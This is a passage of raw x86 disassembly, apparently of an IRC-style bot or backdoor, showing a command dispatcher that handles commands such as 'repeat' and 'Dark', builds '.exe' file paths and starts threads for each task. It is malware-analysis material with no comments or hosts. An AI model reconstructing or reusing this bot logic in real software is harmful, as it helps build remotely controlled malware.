		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26B0B81h
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_42A004

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2670C39h
		nop
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26B0000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2690579h

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
